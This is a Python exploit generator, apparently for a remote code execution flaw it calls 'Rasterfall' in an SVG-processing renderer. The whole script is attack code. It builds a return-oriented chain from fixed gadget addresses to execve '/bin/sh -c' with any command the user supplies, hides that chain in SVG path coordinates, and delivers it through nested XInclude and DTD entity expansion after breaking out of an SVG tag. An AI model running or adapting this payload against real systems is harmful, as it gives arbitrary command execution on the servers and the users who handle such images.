#!/usr/bin/env python3

import argparse
import base64
import hashlib
import math
import re
import struct
import sys
from urllib.parse import quote


POP_RDI = 0xA1EAED
POP_RAX = 0x7F38D4
POP_RSI = 0x95823D
POP_RDX = 0x776758
STOSQ_RET = 0xD16725
EXECVE_PLT = 0x745FA0
SCRATCH = 0x6B5F500
PIVOT_LOAD = 0x1C1F1F6
PIVOT_STACK = 0x1F7FA78
MAX_COMMAND_BYTES = 71
BASELINE_PADDING = 23291
TARGET_PATH_LENGTH = 1270
SVG_TAG_PATTERN = re.compile(r"^[A-Za-z][A-Za-z0-9_.-]*$")


def parse_args():
    parser = argparse.ArgumentParser(description="Generate the Rasterfall RCE payload.")
    parser.add_argument(
        "--command",
        required=True,
        help=f"ASCII shell command to execute (maximum {MAX_COMMAND_BYTES} bytes)",
    )
    parser.add_argument(
        "--tag",
        default="title",
        help="SVG element containing the injected text (default: title)",
    )
    parser.add_argument(
        "--output",
        metavar="PATH",
        help="write the payload to PATH instead of standard output",
    )
    return parser.parse_args()


def qword(data):
    return int.from_bytes(data.ljust(8, b"\0"), "little")


def number_from_bits(bits):
    value = struct.unpack("<d", int(bits).to_bytes(8, "little"))[0]
    if not math.isfinite(value):
        raise ValueError("the command produces a non-finite coordinate qword")
    if value == 0:
        return "0"

    text = repr(value)
    if "e" in text:
        mantissa, exponent = text.split("e")
        text = f"{mantissa}e{int(exponent):+d}"
    return text


def build_rop(command):
    command_bytes = command.encode("ascii")
    if b"\0" in command_bytes:
        raise ValueError("the command cannot contain a NUL byte")
    if any(byte < 0x20 or byte > 0x7E for byte in command_bytes):
        raise ValueError("the command must contain printable ASCII only")
    if len(command_bytes) > MAX_COMMAND_BYTES:
        raise ValueError(
            f"the command is {len(command_bytes)} bytes; maximum is {MAX_COMMAND_BYTES}"
        )

    terminated = command_bytes + b"\0"
    command_qwords = [
        qword(terminated[offset : offset + 8])
        for offset in range(0, len(terminated), 8)
    ]
    argv = SCRATCH + 16 + len(command_qwords) * 8
    writes = [
        qword(b"/bin/sh\0"),
        qword(b"-c\0"),
        *command_qwords,
        SCRATCH,
        SCRATCH + 8,
        SCRATCH + 16,
        0,
    ]

    chain = [0] * 6 + [POP_RDI, SCRATCH]
    for value in writes:
        chain.extend([POP_RAX, value, STOSQ_RET])
    chain.extend([POP_RDI, SCRATCH, POP_RSI, argv, POP_RDX, 0, EXECVE_PLT])

    if len(chain) > 60:
        raise ValueError("the generated ROP chain does not fit in the proved layout")

    for value in chain:
        number_from_bits(value)
    return chain


def build_path(rop):
    commands = {
        "M": "M0 0",
        "C": "C0 0 0 0 0 0",
        "A": "A1 1 0 0 0 0 0",
        "P": "A1 1 0 0 1 0 0",
        "R": f"A0 {number_from_bits(PIVOT_STACK)} {number_from_bits(PIVOT_LOAD)} 0 0 0 0",
        "H": "H0",
        "Z": "Z",
    }

    kinds = ["M"] * 152
    for index in range(24, 30):
        kinds[index] = "Z"
    kinds[30] = "A"
    for index in range(41, 54):
        kinds[index] = "Z"
    kinds[54] = "H"
    kinds[60] = "A"
    kinds[61] = "H"
    kinds[62] = "H"
    kinds[63] = "H"
    kinds[132] = "P"
    kinds[136] = "Z"
    kinds[137] = "R"
    for index in range(144, 152):
        kinds[index] = "C"

    path_commands = [commands[kind] for kind in kinds]
    coordinates = [number_from_bits(value) for value in rop]
    coordinates.extend(["0"] * (60 - len(coordinates)))

    for index in range(138, 144):
        offset = (index - 138) * 2
        path_commands[index] = f"M{coordinates[offset]} {coordinates[offset + 1]}"

    for index in range(144, 152):
        offset = 12 + (index - 144) * 6
        values = " ".join(coordinates[offset : offset + 6])
        path_commands[index] = f"C{values}"

    return f'<path stroke="black" d="{" ".join(path_commands)}"/>'


def build_payload(command, tag="title"):
    if not SVG_TAG_PATTERN.fullmatch(tag):
        raise ValueError("the tag must be a valid unprefixed XML element name")

    path = build_path(build_rop(command))
    padding_length = BASELINE_PADDING + TARGET_PATH_LENGTH - len(path)
    if padding_length < 0:
        raise ValueError("the generated path exceeds the proved entity layout")

    included = (
        '<?xml version="1.0"?>\n'
        '<!DOCTYPE svg [<!ENTITY active "R">]>\n'
        '<svg xmlns="http://www.w3.org/2000/svg" width="64" height="64"/>'
    )
    included_url = "data:image/svg+xml;base64," + base64.b64encode(
        included.encode()
    ).decode()
    include = (
        '<xi:include xmlns:xi="http://www.w3.org/2001/XInclude" '
        f'href="{included_url}" parse="xml"/>'
    )
    expansion = " " * padding_length + include + path
    nested = (
        '<?xml version="1.0"?>\n'
        f"<!DOCTYPE svg [<!ENTITY active '{expansion}'>]>\n"
        '<svg xmlns="http://www.w3.org/2000/svg" '
        'xmlns:xi="http://www.w3.org/2001/XInclude" width="64" height="64">'
        "&active;</svg>"
    )
    nested_url = "data:image/svg+xml," + quote(
        nested, safe="-_.!~*'()"
    ).replace("%20", " ")
    return (
        f'</{tag}><xi:include xmlns:xi="http://www.w3.org/2001/XInclude" '
        f'href="{nested_url}" parse="xml"/><{tag}>'
    )


def main():
    args = parse_args()
    try:
        payload = build_payload(args.command, args.tag)
    except (UnicodeEncodeError, ValueError) as error:
        print(f"error: {error}", file=sys.stderr)
        return 2

    request_body = payload.encode()

    print(
        f"bytes={len(request_body)} sha256={hashlib.sha256(request_body).hexdigest()}",
        file=sys.stderr,
    )
    if args.output:
        with open(args.output, "wb") as output:
            output.write(request_body)
    else:
        sys.stdout.buffer.write(request_body)
    return 0


if __name__ == "__main__":
    raise SystemExit(main())
